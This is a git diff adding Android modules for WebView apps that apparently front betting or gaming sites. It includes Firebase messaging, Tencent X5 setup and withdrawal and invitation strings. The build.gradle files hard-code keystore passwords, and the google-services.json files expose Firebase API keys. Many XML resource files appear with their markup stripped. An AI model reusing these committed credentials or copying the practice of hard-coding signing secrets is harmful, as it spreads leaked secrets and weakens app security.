b/supergameau/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/supergameau/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/xml/network_security_config.xml b/supergameau/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/supergameau/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/xml/provider_paths.xml b/supergameau/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/supergameau/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/supergameau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/supergameau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/supergameau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/surebet/.gitignore b/surebet/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/surebet/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/surebet/build.gradle b/surebet/build.gradle new file mode 100644 index 0000000..a368160 --- /dev/null +++ b/surebet/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.surebet" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "surebet" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/surebet/dskjweb.jks b/surebet/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/surebet/dskjweb.jks differ diff --git a/surebet/google-services.json b/surebet/google-services.json new file mode 100644 index 0000000..1882114 --- /dev/null +++ b/surebet/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "978044414843", + "project_id": "surebet-1ed3b", + "storage_bucket": "surebet-1ed3b.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:978044414843:android:383b2ae31679d4792eebde", + "android_client_info": { + "package_name": "com.web.surebet" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBh_YDD8ZZzJw98HTYZcZVMNsvxOF9LDgs" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/surebet/ppn.jks b/surebet/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/surebet/ppn.jks differ diff --git a/surebet/proguard-rules.pro b/surebet/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/surebet/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/surebet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/surebet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/surebet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/surebet/src/main/AndroidManifest.xml b/surebet/src/main/AndroidManifest.xml new file mode 100644 index 0000000..de7b1e9 --- /dev/null +++ b/surebet/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/surebet/src/main/java/com/web/surebet/MainActivity.java b/surebet/src/main/java/com/web/surebet/MainActivity.java new file mode 100644 index 0000000..c284a6d --- /dev/null +++ b/surebet/src/main/java/com/web/surebet/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.surebet; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 175; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://surebetsg.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#14212a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#303e49"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/surebet/src/main/java/com/web/surebet/MyFirebaseMessageingService.java b/surebet/src/main/java/com/web/surebet/MyFirebaseMessageingService.java new file mode 100644 index 0000000..28380c4 --- /dev/null +++ b/surebet/src/main/java/com/web/surebet/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.surebet; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/surebet/src/main/java/com/web/surebet/WebApplication.java b/surebet/src/main/java/com/web/surebet/WebApplication.java new file mode 100644 index 0000000..4855e28 --- /dev/null +++ b/surebet/src/main/java/com/web/surebet/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.surebet; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/surebet/src/main/res/drawable-anydpi/ic_action_back.xml b/surebet/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/surebet/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/surebet/src/main/res/drawable-hdpi/ic_action_back.png b/surebet/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/surebet/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/surebet/src/main/res/drawable-mdpi/ic_action_back.png b/surebet/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/surebet/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/surebet/src/main/res/drawable-v24/ic_launcher_foreground.xml b/surebet/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/surebet/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/drawable-xhdpi/ic_action_back.png b/surebet/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/surebet/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/surebet/src/main/res/drawable-xxhdpi/ic_action_back.png b/surebet/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/surebet/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/surebet/src/main/res/drawable/big_bg.xml b/surebet/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..417f3dd --- /dev/null +++ b/surebet/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/surebet/src/main/res/drawable/ic_launcher_background.xml b/surebet/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/surebet/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/surebet/src/main/res/drawable/input_bg.xml b/surebet/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/surebet/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/surebet/src/main/res/drawable/pass_word_bg.xml b/surebet/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/surebet/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/surebet/src/main/res/drawable/pass_word_bg1.xml b/surebet/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/surebet/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/drawable/pass_word_bg2.xml b/surebet/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/surebet/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/drawable/shape_btn_bg.xml b/surebet/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/surebet/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/drawable/shape_dialog_bg2.xml b/surebet/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/surebet/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/drawable/shape_dialog_bg3.xml b/surebet/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/surebet/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/drawable/shape_dialog_bg_new.xml b/surebet/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/surebet/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/surebet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/surebet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/surebet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/surebet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/mipmap-hdpi/ic_empty.png b/surebet/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/surebet/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/surebet/src/main/res/mipmap-hdpi/ic_pull_down.png b/surebet/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/surebet/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/surebet/src/main/res/mipmap-xhdpi/ic_close.png b/surebet/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/surebet/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/surebet/src/main/res/mipmap-xhdpi/ic_menu.png b/surebet/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/surebet/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/surebet/src/main/res/mipmap-xxhdpi/app_logo.png b/surebet/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..b18919f Binary files /dev/null and b/surebet/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/surebet/src/main/res/values-en/strings.xml b/surebet/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/surebet/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/surebet/src/main/res/values-night/themes.xml b/surebet/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/surebet/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/values/colors.xml b/surebet/src/main/res/values/colors.xml new file mode 100644 index 0000000..0399725 --- /dev/null +++ b/surebet/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #14212a + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/surebet/src/main/res/values/strings.xml b/surebet/src/main/res/values/strings.xml new file mode 100644 index 0000000..832c80d --- /dev/null +++ b/surebet/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SUREBET + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/values/themes.xml b/surebet/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/surebet/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/xml/app_updater_paths.xml b/surebet/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/surebet/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/surebet/src/main/res/xml/network_security_config.xml b/surebet/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/surebet/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/surebet/src/main/res/xml/provider_paths.xml b/surebet/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/surebet/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/surebet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/surebet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/surebet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/swiftau/.gitignore b/swiftau/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/swiftau/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/swiftau/build.gradle b/swiftau/build.gradle new file mode 100644 index 0000000..e523bab --- /dev/null +++ b/swiftau/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.swiftau" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "swiftau" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/swiftau/google-services.json b/swiftau/google-services.json new file mode 100644 index 0000000..b86b347 --- /dev/null +++ b/swiftau/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "875502183373", + "project_id": "swiftau-63944", + "storage_bucket": "swiftau-63944.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:875502183373:android:952e5868b5bfbb6912da84", + "android_client_info": { + "package_name": "com.web.swiftau" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDSr9m5imLJ18JdFM0sHgjnOOf-aQ5jjlQ" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/swiftau/ppn.jks b/swiftau/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/swiftau/ppn.jks differ diff --git a/swiftau/proguard-rules.pro b/swiftau/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/swiftau/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git 